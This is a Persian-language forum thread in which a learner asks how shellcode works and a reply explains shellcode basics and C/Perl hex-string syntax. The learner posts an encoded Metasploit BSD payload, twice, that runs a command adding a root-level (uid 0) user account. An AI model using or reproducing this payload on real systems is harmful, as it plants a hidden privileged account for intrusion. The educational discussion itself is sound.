ورود

View Full Version : سوال: تحلیل shell code



...StacK...
چهارشنبه 27 آذر 1387, 19:18 عصر
سلام به همه ی عزیزان

میخواستم بدونم ماهیت شل کد چیه و چگونه رفتار میکنه...

به این شل کد نگاه کنید ...این یک یوزر به نام StacK در یک سیستم bsd با دسترسی root

ایجاد میکنه.


/* bsd_ia32_exec - CMD=adduser StacK -o -g 0 -u 0 Size=92 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char scode[] =
"\x2b\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\x 81\x73\x13\x44"
"\xe5\xc8\x9a\x83\xeb\xfc\xe2\xf4\x2e\xde\x90\x03\x 16\x83\xa0\xb7"
"\x27\x6c\x2f\xc8\x2c\x8b\xe7\xe9\x2c\x8d\xe7\xb5\x 26\x8c\x41\x79"
"\x16\x0d\xd3\x9a\x44\xe5\xa9\xfe\x20\x90\xbb\xff\x 36\xc5\x9b\xee"
"\x25\x86\x83\xba\x69\x8a\xe8\xb7\x23\xc5\xf8\xba\x 69\x90\xe8\xaa"
"\x44\xb2\x9b\x13\xa5\xb7\x99\xc9\x14\x28\x48\x9a";



# bsd_ia32_exec - CMD=adduser StacK -o -g 0 -u 0 Size=92 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x2b\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\x 81\x73\x13\x44".
"\xe5\xc8\x9a\x83\xeb\xfc\xe2\xf4\x2e\xde\x90\x03\x 16\x83\xa0\xb7".
"\x27\x6c\x2f\xc8\x2c\x8b\xe7\xe9\x2c\x8d\xe7\xb5\x 26\x8c\x41\x79".
"\x16\x0d\xd3\x9a\x44\xe5\xa9\xfe\x20\x90\xbb\xff\x 36\xc5\x9b\xee".
"\x25\x86\x83\xba\x69\x8a\xe8\xb7\x23\xc5\xf8\xba\x 69\x90\xe8\xaa".
"\x44\xb2\x9b\x13\xa5\xb7\x99\xc9\x14\x28\x48\x9a";

همانطور که میبینید اینا یک سری کد hexa هستند و فکر میکنم معادل یک سری

دستور معادل زبان ماشین هستند که باید مستقیما در پردازنده اجرا بشن, ایا همینطوره؟؟؟

من این شل کد رو در متااسپلویت ساختم .....

چرا بین هر کدام از دستورات back slash (\) قرار داره؟؟؟

منظور چی بوده که هر خط رو بین یک double quotation (") قرار داده؟؟؟

در کل اگر من بخوام اینجور شل کدهایی بنویسم در لینوکس ...به غیر از دانش اسمبلی

و تسلط بر سیستم عامل چه چیز هایی رو باید یاد بگیرم؟؟؟

اگر نکاتی رو هم به ذهنتون میرسه که به دردم بخوره , ممنون میشم مطرح کنید..

illegalyasync
چهارشنبه 27 آذر 1387, 19:24 عصر
میخواستم بدونم ماهیت شل کد چیه و چگونه رفتار میکنه...
Shellcode كدي هستش كه معمولا توسط يه نقطه ضعف امنيتي به نحوي روي سيستم اجرا ميشه و يه هدف خيلي خاص و كوچك داره مثل ساختن كاربر يا ايجاد يه اتصال به يه سيستم راه دور


همانطور که میبینید اینا یک سری کد hexa هستند و فکر میکنم معادل یک سری
دستور معادل زبان ماشین هستند که باید مستقیما در پردازنده اجرا بشن, ایا همینطوره؟؟؟

بله


چرا بین هر کدام از دستورات back slash (\) قرار داره؟؟؟

در زبان سي و پرل اونطوري كاراكترهاي هگز رو به يه متغير نسبت ميدن .


منظور چی بوده که هر خط رو بین یک double quotation (") قرار داده؟؟؟

براي ساختن رشته يا آرايه كه از چندين خط تشكيل ميشه اينكارو ميكنن . چيز مهمي نيست


در کل اگر من بخوام اینجور شل کدهایی بنویسم در لینوکس ...به غیر از دانش اسمبلی
و تسلط بر سیستم عامل چه چیز هایی رو باید یاد بگیرم؟؟؟

ميشد يه سري توضيح بدم كه بعدش باز برات سوال ايجاد كنه . ولي بهتره كه كتاب Shellcoder's Handbook رو بخوني كه سوالي باقي نمونه